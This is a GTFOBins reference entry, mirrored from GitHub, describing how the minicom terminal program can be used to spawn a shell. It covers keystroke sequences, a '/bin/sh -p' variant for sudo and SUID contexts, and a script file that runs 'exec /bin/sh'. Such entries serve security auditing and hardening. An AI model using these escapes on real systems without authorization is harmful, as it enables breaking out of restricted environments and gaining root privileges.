1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 06:31:33 +01:00
GTFOBins.github.io/_gtfobins/minicom
2026-01-15 20:28:55 +01:00

42 lines
1.1 KiB
Plaintext

---
comment: |-
Note that in some versions, `Meta-Z` is used in place of `Ctrl-A`.
functions:
shell:
- code: |-
minicom -D /dev/null
comment: |-
Start the following command to open the TUI interface, then:
1. press `Ctrl-A o` and select `Filenames and paths`;
2. press `e`, type `/bin/sh`, then `Enter`;
3. Press `Esc` twice;
4. Press `Ctrl-A k` to drop the shell.
After the shell, exit with `Ctrl-A x`.
contexts:
sudo:
suid:
comment: |-
Start the following command to open the TUI interface, then:
1. press `Ctrl-A o` and select `Filenames and paths`;
2. press `e`, type `/bin/sh -p`, then `Enter`;
3. Press `Esc` twice;
4. Press `Ctrl-A k` to drop the shell.
After the shell, exit with `Ctrl-A x`.
unprivileged:
- code: |-
echo '! exec /bin/sh </dev/tty 1>/dev/tty 2>/dev/tty' >/path/to/temp-file
minicom -D /dev/null -S /path/to/temp-file
reset^J
comment: |-
After the shell, exit with `Ctrl-A x`.
contexts:
sudo:
suid:
shell: true
unprivileged:
...